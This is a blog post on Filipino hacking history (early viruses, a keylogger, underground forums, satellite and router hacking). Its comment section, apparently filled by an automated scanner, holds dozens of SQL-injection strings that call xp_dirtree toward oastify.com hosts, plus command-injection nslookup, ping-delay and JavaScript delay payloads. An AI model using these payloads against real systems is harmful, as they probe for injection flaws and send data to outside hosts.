Tales from our Pinoy Hackers after Y2K Bug to pre-Comeleak part 2

by Nullforge Blog on in Hacks, Threat Intelligence
Marawi virus

In our previous post we talked about the the I Love You Virus, the 4’ O Clock Project, and the 1st Cybercrime conviction in the Philippines. One of the main purposes of the previous article was to clear some conspiracy stories about the hacking scene in the Philippines.

Now, I know you may have some questions about the featured image in this article. It is actually an MS-DOS virus made in Mindanao State University – Iligan Institute of Technology. It was featured in a 1997 Virus Bulletin issue. My apologies though as it somehow defeats the title of our article that says “after Y2k bug” but I think it is important in the Philippine virus writing scene. Primarily, because it existed prior to the I Love You Virus and because it can be relived through Mikko Hyponnen’s Malware Museum.

Noob Killer
Taga Lipa Are, Long Live Sowar, Jollybeecute, Funny UST Scandal, and other Filipino virus variants were annoying viruses during the Windows XP days. I still remember playing with them back in college.

Some anti-viruses do not even detect them and only in the later years. Good thing, Noob Killer was created which is a simple utility that destroys some of these Filipino virus variants.

[noobkiller.jpg]
Noob.Killer by Leerz

The developer of this utility was Leerz and he is a Filipino as well whose real name is still a mystery. One thing for sure is that his utility somehow helped PC users during the XP days.

Noob Killer existed since February 2007. Geez, I feel old!

[noob+killer.jpg]

BahayKubo Gmail Keylogger
In Internet cafes, keyloggers were a pain. The most famous keylogger to have ever existed in the PH underground scene was the Bahay Kubo Gmail Keylogger by dr3yfus.

dr3yfus was active in some Filipino forum sites like pinoyhackers.com. I still remember in ROOTCON’s forum site wherein he announced (probably 2009-2010) that he was just done with his OSCP and was asking if it’s okay to take CEH.

Enter Pinoyhackers.com (2009)
pinoyhackers.com was a controversial underground forum site because it is always featured in news websites and in the television whenever a Philippine government website is defaced.

This was because some of the former and second generation members of AsianPride lurk in this forum including some new underground groups during its time like ProjectX, PrivateX, and Philker.

The funny thing though is that this forum site got defaced many times and that there was this one time wherein the logo was named as “pinayhackers.com”.

Hardware, Satellite, and Communications Hacking in the early days…
Filsat (filsat.com) and Filhacks (filhacks.com) were the forum sites where the hardware, satellite and communications hackers lurk. Filsat existed since 2006 while Filhacks started in 2008. Sad to say these forum sites are now dead.

Filsat and Filhacks were like sister forum sites because some of the moderators and members of Filsat were also moderators and members of Filhacks but one should know that these two forum sites are not administered by the same web administrators. I know this because I was a member of these two forums, I was also also a moderator of Filhacks and that I knew both of the web administrators of the said forum sites. My dad back then was also an active member of the Filsat community as he is a satellite hobbyist.

Filsat focused mostly on building a satellite hobbyist community but then it also inseminated satellite hacking in the Philippines. It pioneered Dream Satellite Hacking! Yes, its members were the reason why Dream shifted to Nagravision 3 for its encryption and also the reason why Dream went bankrupt. It was the only Filipino forum site where you can see activation keys being flashed in the forum boards. Card sharing which is illegal was also being highlighted in this forum.

Filhacks on the other hand focused on free internet connection and hacking the USB dongles, Smart Canopies, and Globe WiNaxes. Some of its members were even persecuted for selling hacked WiMaxes. It was easy to hack them from creating proxies to mac cloning.

Filipino hackers were already doing IoT and Hardware hacking pre-ComeLeak because when Globe released bm622i routers, some hardware hackers hacked it by jtagging it, reflashing it and connecting to its UART port unlike the bm622 line of routers wherein you can just telnet into them. Although there are also some ways to hack it via factory reset or telnet for some bm622i routers.

No photo description available.

Yes, IoT and Hardware Hacking in the Philippines was already a thing even before 2012. Notice the image above?

And so I leave you guys here for now. See you on the third series of this continuing article. For more updates just visit Nullforge’s Facebook page: https://www.facebook.com/nullforgesec.

EOF

(This is a continuing article series, see part 1)

Previous article
Next article

1,137 thoughts on “Tales from our Pinoy Hackers after Y2K Bug to pre-Comeleak part 2”

  5. COMMENT *;declare @q varchar(99);set @q=’\\ob3dv6wv1ai6ote49ky0m3pncei59vxrlib63tthi.oasti’+’fy.com\ion’; exec master.dbo.xp_dirtree @q;–

  6. COMMENT *’;declare @q varchar(99);set @q=’\\u3yjnco1tgacgz6a1qq6e9ht4kab11pxdo4cwzmnb.oasti’+’fy.com\zkl’; exec master.dbo.xp_dirtree @q;–

  7. COMMENT *);declare @q varchar(99);set @q=’\\egy30w1l60nwtjjuea3qrtudh4nvel2hq8iwaj07p.oasti’+’fy.com\vyv’; exec master.dbo.xp_dirtree @q;–

  8. COMMENT *’);declare @q varchar(99);set @q=’\\705wkpleqt7pdc3ny3njbme61x7oyemaa13pvcl0a.oasti’+’fy.com\ucj’; exec master.dbo.xp_dirtree @q;–

  92. COMMENT *&nslookup -q=cname ptmed7ewjb076uw5rlg1447ouf06rwfs3nrfe52u.oastify.com.&’\”`0&nslookup -q=cname ptmed7ewjb076uw5rlg1447ouf06rwfs3nrfe52u.oastify.com.&`’

  97. COMMENT *|ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #’ |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\” |ping -n 21 127.0.0.1

  114. COMMENT *’+(function(){if(typeof pww01===”undefined”){var a=new Date();do{var b=new Date();}while(b-a<20000);pww01=1;}}())+'

  330. COMMENT *;declare @q varchar(99);set @q=’\\vkjk4d52ahrdx0nbir77vayullrci2630rrhf92zqo.oasti’+’fy.com\vfo’; exec master.dbo.xp_dirtree @q;–

  331. COMMENT *’;declare @q varchar(99);set @q=’\\lpea93asf7w32qs1nhcx003kqbw2nsbt5hw8k07qvf.oasti’+’fy.com\uhn’; exec master.dbo.xp_dirtree @q;–

  332. COMMENT *);declare @q varchar(99);set @q=’\\qysfi8jxoc58bv16wml295cpzg57wxkyem5et6gw4l.oasti’+’fy.com\wmy’; exec master.dbo.xp_dirtree @q;–

  333. COMMENT *’);declare @q varchar(99);set @q=’\\vzykjdk2ph6dc02bxrm7aadu0l6cx2l3fr6kuch25r.oasti’+’fy.com\vjg’; exec master.dbo.xp_dirtree @q;–

  358. COMMENT *;declare @q varchar(99);set @q=’\\ydfzp3zvvui9lh58kzohhzvkxb34rxfo5cxznnc.oasti’+’fy.com\uty’; exec master.dbo.xp_dirtree @q;–

  359. COMMENT *’;declare @q varchar(99);set @q=’\\ridsuw4o0nn2qaa1pstams0d248xwqkhb53stgi.oasti’+’fy.com\yqq’; exec master.dbo.xp_dirtree @q;–

  360. COMMENT *);declare @q varchar(99);set @q=’\\vzywb0lshr467er56wae3whhj8p1du1lt9lwbk0.oasti’+’fy.com\mti’; exec master.dbo.xp_dirtree @q;–

  361. COMMENT *’);declare @q varchar(99);set @q=’\\akybwf6726plstckrbvtob2w4nagy9m0fo7bxzm.oasti’+’fy.com\iwu’; exec master.dbo.xp_dirtree @q;–

  456. COMMENT *&nslookup -q=cname 2223e7ozky7daluc93dl63komfs8g14wsofe33.oastify.com.&’\”`0&nslookup -q=cname 2223e7ozky7daluc93dl63komfs8g14wsofe33.oastify.com.&`’

  461. COMMENT *|ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #’ |ping -n 21 127.0.0.1||`ping -c 21 127.0.0.1` #\” |ping -n 21 127.0.0.1

  516. COMMENT *’+(function(){if(typeof c5fyq===”undefined”){var a=new Date();do{var b=new Date();}while(b-a<20000);c5fyq=1;}}())+'

  760. COMMENT *;declare @q varchar(99);set @q=’\\3x1498j0fz2e5mpd448m14fphgn9b2ztphh47sw.oasti’+’fy.com\lou’; exec master.dbo.xp_dirtree @q;–

  761. COMMENT *’;declare @q varchar(99);set @q=’\\zux064gwcvza2im9105iy0cleck58ywpndf05ou.oasti’+’fy.com\cym’; exec master.dbo.xp_dirtree @q;–

  762. COMMENT *);declare @q varchar(99);set @q=’\\msin4rejaixx05kwzn35wna8czis6lucm0en4bt.oasti’+’fy.com\zer’; exec master.dbo.xp_dirtree @q;–

  763. COMMENT *’);declare @q varchar(99);set @q=’\\mkanwr6j2ipxs5cwrnv5on284zasylmcf07nxbm.oasti’+’fy.com\hzk’; exec master.dbo.xp_dirtree @q;–

  824. COMMENT *&nslookup -q=cname 8fo9rd15x4kjnr7im9qrj9xuzl5et7h25uskg9.oastify.com.&’\”`0&nslookup -q=cname 8fo9rd15x4kjnr7im9qrj9xuzl5et7h25uskg9.oastify.com.&`’

  837. COMMENT *’+(function(){if(typeof ki3su===”undefined”){var a=new Date();do{var b=new Date();}while(b-a<20000);ki3su=1;}}())+'

  1006. COMMENT *;declare @q varchar(99);set @q=’\\wddxp1ztvsi7lf56kxofhxvix932rvfm5axxnlc.oasti’+’fy.com\qhw’; exec master.dbo.xp_dirtree @q;–

  1007. COMMENT *’;declare @q varchar(99);set @q=’\\ao2b0fa766tlwtgkvbztsb6w8neg29q0ho9bzzo.oasti’+’fy.com\ufg’; exec master.dbo.xp_dirtree @q;–

  1008. COMMENT *);declare @q varchar(99);set @q=’\\qztrbvlnhm4179r06ra93rhcj3pwdp1gt4lrbf0.oasti’+’fy.com\ivw’; exec master.dbo.xp_dirtree @q;–

  1009. COMMENT *’);declare @q varchar(99);set @q=’\\nulo6sgkcjzy26mx1o56yoc9e0kt8mwdp1ho7cw.oasti’+’fy.com\qdg’; exec master.dbo.xp_dirtree @q;–

  1014. COMMENT *;declare @q varchar(99);set @q=’\\betcqg08w7jmmu6llcpuicwxyo4hsag16pyco0d.oasti’+’fy.com\znw’; exec master.dbo.xp_dirtree @q;–

  1015. COMMENT *’;declare @q varchar(99);set @q=’\\4lq5x97130qftndes5wnp53q5hbaz3nuei65wtl.oasti’+’fy.com\xwr’; exec master.dbo.xp_dirtree @q;–

  1016. COMMENT *);declare @q varchar(99);set @q=’\\w2zxe1otks77afu69xdf6xkim9s2gv4mwaoxel3.oasti’+’fy.com\yjm’; exec master.dbo.xp_dirtree @q;–

  1017. COMMENT *’);declare @q varchar(99);set @q=’\\a9kblfv7r6elht1kgbktdbrwtnzgn9b04owbmzb.oasti’+’fy.com\rbv’; exec master.dbo.xp_dirtree @q;–

  1022. COMMENT *;declare @q varchar(99);set @q=’\\w2zxe1otks77afu69xdf6xkim9s2gv4muamxcl1.oasti’+’fy.com\jxs’; exec master.dbo.xp_dirtree @q;–

  1023. COMMENT *’;declare @q varchar(99);set @q=’\\2ru337dz9ywdzljcy32lv39obfh851tskgc32rr.oasti’+’fy.com\imy’; exec master.dbo.xp_dirtree @q;–

  1024. COMMENT *);declare @q varchar(99);set @q=’\\kqel2pch8gvvy3iuxl13ul86axgq4jsakycl29r.oasti’+’fy.com\xrb’; exec master.dbo.xp_dirtree @q;–

  1025. COMMENT *’);declare @q varchar(99);set @q=’\\f3jgfkpclb8qbyvpagey7gl1nstlhe55ytqgg45.oasti’+’fy.com\abn’; exec master.dbo.xp_dirtree @q;–

  1030. COMMENT *;declare @q varchar(99);set @q=’\\yy0za3kvgu396hq85z9h2zgkibo4cx0oqciz8nx.oasti’+’fy.com\aut’; exec master.dbo.xp_dirtree @q;–

  1031. COMMENT *’;declare @q varchar(99);set @q=’\\pohq0uam6lt0w8gzvqz8sq6b82ev2oqfh39qzeo.oasti’+’fy.com\mid’; exec master.dbo.xp_dirtree @q;–

  1032. COMMENT *);declare @q varchar(99);set @q=’\\lujm6qgichzw24mv1m54ymc7eykr8kwbozgm6av.oasti’+’fy.com\dls’; exec master.dbo.xp_dirtree @q;–

  1033. COMMENT *’);declare @q varchar(99);set @q=’\\zps014bw7vuaxih9w00it07l9cf53yrpkdc02or.oasti’+’fy.com\gfm’; exec master.dbo.xp_dirtree @q;–

  1038. COMMENT *;declare @q varchar(99);set @q=’\\0ef1q50xwwjbmj6al1pji1wmyd46szgq6ey1opd.oasti’+’fy.com\una’; exec master.dbo.xp_dirtree @q;–

  1039. COMMENT *’;declare @q varchar(99);set @q=’\\2ps317bz7yudxlhcw30lt37o9ff831rsiga30rp.oasti’+’fy.com\osb’; exec master.dbo.xp_dirtree @q;–

  1040. COMMENT *);declare @q varchar(99);set @q=’\\01z1d5nxjw6b9jta81cj51jmldr6fz3qven1dp2.oasti’+’fy.com\vox’; exec master.dbo.xp_dirtree @q;–

  1041. COMMENT *’);declare @q varchar(99);set @q=’\\rlgsxw7o3nq2tad1sswaps3d54bxzqnhg58sygn.oasti’+’fy.com\zwe’; exec master.dbo.xp_dirtree @q;–

  1046. COMMENT *;declare @q varchar(99);set @q=’\\9y8aaek6g53k6sqj5a9s2agvimofc80zqnia8yx.oasti’+’fy.com\bde’; exec master.dbo.xp_dirtree @q;–

  1047. COMMENT *’;declare @q varchar(99);set @q=’\\yoqz03av6ut9whg8vzzhsz6k8be42xqohc9zzno.oasti’+’fy.com\ntq’; exec master.dbo.xp_dirtree @q;–

  1048. COMMENT *);declare @q varchar(99);set @q=’\\o9ypltvlrkezh71ygpk7dprat1zunnbe32vplda.oasti’+’fy.com\nza’; exec master.dbo.xp_dirtree @q;–

  1049. COMMENT *’);declare @q varchar(99);set @q=’\\do5e0iaa69towwgnvezwse6z8qej2cq3jrbe12q.oasti’+’fy.com\rba’; exec master.dbo.xp_dirtree @q;–

  1054. COMMENT *;declare @q varchar(99);set @q=’\\1hj2t63yzxmcpk9bo2skl2zn1e77v0jr9f12rqg.oasti’+’fy.com\naq’; exec master.dbo.xp_dirtree @q;–

  1055. COMMENT *’;declare @q varchar(99);set @q=’\\bu9c6gg8c7zm2uml1c5uyccxeokh8aw1npfc50u.oasti’+’fy.com\jtu’; exec master.dbo.xp_dirtree @q;–

  1056. COMMENT *);declare @q varchar(99);set @q=’\\ydfzp3zvvui9lh58kzohhzvkxb34rxfo7czzpne.oasti’+’fy.com\fom’; exec master.dbo.xp_dirtree @q;–

  1057. COMMENT *’);declare @q varchar(99);set @q=’\\dhyeti3az9mopw9noeswlezz1q7jvcj3cr4eu2j.oasti’+’fy.com\vba’; exec master.dbo.xp_dirtree @q;–

  1103. COMMENT *;declare @q varchar(99);set @q=’\\g1ihdlndjc6r9ztq8hcz5hj2ltrmff36tulhb50.oasti’+’fy.com\rpc’; exec master.dbo.xp_dirtree @q;–

  1104. COMMENT *’;declare @q varchar(99);set @q=’\\k4plgpqhmg9vc3wublf38lm6oxuqij6axyplf94.oasti’+’fy.com\huq’; exec master.dbo.xp_dirtree @q;–

  1105. COMMENT *);declare @q varchar(99);set @q=’\\m8vnkrujqidxg50wfnj5cnq8szysmlac20unkb9.oasti’+’fy.com\fuo’; exec master.dbo.xp_dirtree @q;–

  1106. COMMENT *’);declare @q varchar(99);set @q=’\\syutaxkpgo336bq25t9b2tgei5oycr0it6ltbh0.oasti’+’fy.com\aee’; exec master.dbo.xp_dirtree @q;–

  1111. COMMENT *;declare @q varchar(99);set @q=’\\3jn4v8501zoermbdq4umn41p3g99x2ltbh34tsi.oasti’+’fy.com\ftm’; exec master.dbo.xp_dirtree @q;–

  1112. COMMENT *’;declare @q varchar(99);set @q=’\\fatgmkwcsbfqiy2phglyegs1us0loec53tvgl4a.oasti’+’fy.com\vjd’; exec master.dbo.xp_dirtree @q;–

  1113. COMMENT *);declare @q varchar(99);set @q=’\\yikzu34v0un9qha8pzthmz0k2b84wxkocc4zunj.oasti’+’fy.com\pmp’; exec master.dbo.xp_dirtree @q;–

  1114. COMMENT *’);declare @q varchar(99);set @q=’\\6bi7nbx3t2ghjp3gi7mpf7tsvj1cp5dw6ky7ovd.oasti’+’fy.com\ppe’; exec master.dbo.xp_dirtree @q;–

  1119. COMMENT *;declare @q varchar(99);set @q=’\\nxoo9sjkfj2y56px4o861of9h0ntbmzdp1ho7cw.oasti’+’fy.com\qah’; exec master.dbo.xp_dirtree @q;–

  1120. COMMENT *’;declare @q varchar(99);set @q=’\\nneozs9k5jsyv6fxuoy6ro5970dt1mpdg18oycn.oasti’+’fy.com\oao’; exec master.dbo.xp_dirtree @q;–

  1121. COMMENT *);declare @q varchar(99);set @q=’\\5rx63ad291wgzojfy62ov69rbihb54tvljd63us.oasti’+’fy.com\tyn’; exec master.dbo.xp_dirtree @q;–

  1122. COMMENT *’);declare @q varchar(99);set @q=’\\j8skkougqfdug20tfkj2ckq5swypmia93xvkl8a.oasti’+’fy.com\nlh’; exec master.dbo.xp_dirtree @q;–

  1127. COMMENT *;declare @q varchar(99);set @q=’\\7ck8ocy4u3hikq4hj8nqg8utwk2dq6ex4lw8mwb.oasti’+’fy.com\sbb’; exec master.dbo.xp_dirtree @q;–

  1128. COMMENT *’;declare @q varchar(99);set @q=’\\bbqcngx8t7gmju3licmufctxvo1hpad14pwcm0b.oasti’+’fy.com\mgi’; exec master.dbo.xp_dirtree @q;–

  1129. COMMENT *);declare @q varchar(99);set @q=’\\zwz084iwev1a4io9307i00elgcm5ayypqdi08ox.oasti’+’fy.com\fdw’; exec master.dbo.xp_dirtree @q;–

  1130. COMMENT *’);declare @q varchar(99);set @q=’\\cuad6hg9c8zn2vmm1d5vydcyepki8bw2pqhd71w.oasti’+’fy.com\arx’; exec master.dbo.xp_dirtree @q;–

Leave a Reply